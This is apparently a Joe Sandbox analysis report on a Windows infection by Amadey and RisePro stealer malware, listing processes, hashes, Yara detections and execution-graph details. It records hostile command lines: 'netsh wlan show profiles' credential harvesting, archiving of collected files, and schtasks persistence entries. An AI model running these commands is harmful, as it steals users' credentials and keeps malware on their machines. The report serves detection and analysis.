Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Imagebase:	0xe40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:40:18
Start date:	18/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Imagebase:	0x7ff7ead50000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:40:19
Start date:	18/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6d2130000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:40:19
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:40:19
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Imagebase:	0xe40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2906782204.000000006C8B1000.00000020.00000001.01000000.00000016.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	23:40:20
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5564 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:40:20
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3896 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:40:21
Start date:	18/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:40:21
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:40:22
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe"
Imagebase:	0x800000
File size:	1'166'336 bytes
MD5 hash:	76C779D2A6E42C6DBCFF43E67BB38CA3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:40:22
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x20000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	23:40:22
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:40:22
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x20000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	23:40:22
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:40:23
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Imagebase:
File size:	3'102'720 bytes
MD5 hash:	A0DE5117F2DB3409EEB42464B5C2E811
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	23:40:23
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff71e800000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	23:40:23
Start date:	18/04/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x630000
File size:	2'327'552 bytes
MD5 hash:	3709AD0A7007BCAE942B905A07BD6BBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	23:40:23
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2000,i,11986883696083450326,11027901686881542534,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	23:40:23
Start date:	18/04/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x630000
File size:	2'327'552 bytes
MD5 hash:	3709AD0A7007BCAE942B905A07BD6BBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000028.00000002.2927751545.0000000008107000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000002.2907223447.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000028.00000003.2553727448.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000028.00000002.2895798421.0000000000631000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	23:40:29
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3476 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	23:40:31
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe"
Imagebase:	0xb80000
File size:	2'327'552 bytes
MD5 hash:	3709AD0A7007BCAE942B905A07BD6BBA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000002A.00000003.2619416783.0000000005440000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	23:40:35
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5804 -s 2108
Imagebase:	0x900000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	23:40:39
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0x2e0000
File size:	2'327'552 bytes
MD5 hash:	3709AD0A7007BCAE942B905A07BD6BBA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000002E.00000002.2897094573.00000000002E1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000002E.00000003.2702706239.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	23:40:47
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe"
Imagebase:	0x800000
File size:	1'166'336 bytes
MD5 hash:	76C779D2A6E42C6DBCFF43E67BB38CA3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	23:40:48
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	23:40:48
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	23:40:50
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4584 -s 2156
Imagebase:	0x900000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	23:40:54
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4752 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	23:40:54
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4860 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	23:40:55
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe"
Imagebase:	0xb80000
File size:	2'327'552 bytes
MD5 hash:	3709AD0A7007BCAE942B905A07BD6BBA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000037.00000003.2871931818.0000000005440000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000037.00000002.2895930049.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.6%
Total number of Nodes:	701
Total number of Limit Nodes:	16

Executed Functions

Function 00C77BBB Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00C77BBA,?,?,?,?,?,00C78C0E), ref: 00C77BF7

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0596953cf6742d7ea806544883fcfd24525b40bfedc531ad4e2658135514e28a
Instruction ID: dafbd7eae95047845a09feeb97ce3021263fc77708c09beab48a3cf15ffa3f03
Opcode Fuzzy Hash: 0596953cf6742d7ea806544883fcfd24525b40bfedc531ad4e2658135514e28a
Instruction Fuzzy Hash: 7EE08C3014410C6FCF297B18D96DEE93B6DEB51350F009A14F92C46222CB25EE42D680

Uniqueness

Uniqueness Score: -1.00%

Function 05470C1D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675118237.0000000005470000.00000040.00001000.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_UeW2b6mU6Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9af07ffe7d4a58c53effcebc1d4f07a03bc533570b326e0c9381b7b28e6cd73
Instruction ID: 8088b989ce3954bdfd3c671720d983d15b1af7117df7cebea91af156547d99cc
Opcode Fuzzy Hash: d9af07ffe7d4a58c53effcebc1d4f07a03bc533570b326e0c9381b7b28e6cd73
Instruction Fuzzy Hash: D2F0DAEF18E029AD619AD186671D5F6ABBFF1D33703708427F40BD0542E2C8065E2932

Uniqueness

Uniqueness Score: -1.00%

Function 00C7EE4F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C7BE33,00000001,00000364,00000006,000000FF,?,00C8045F,?,00000004,00000000,?,?), ref: 00C7EE91

Strings

@2, xrefs: 00C7EE9C

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
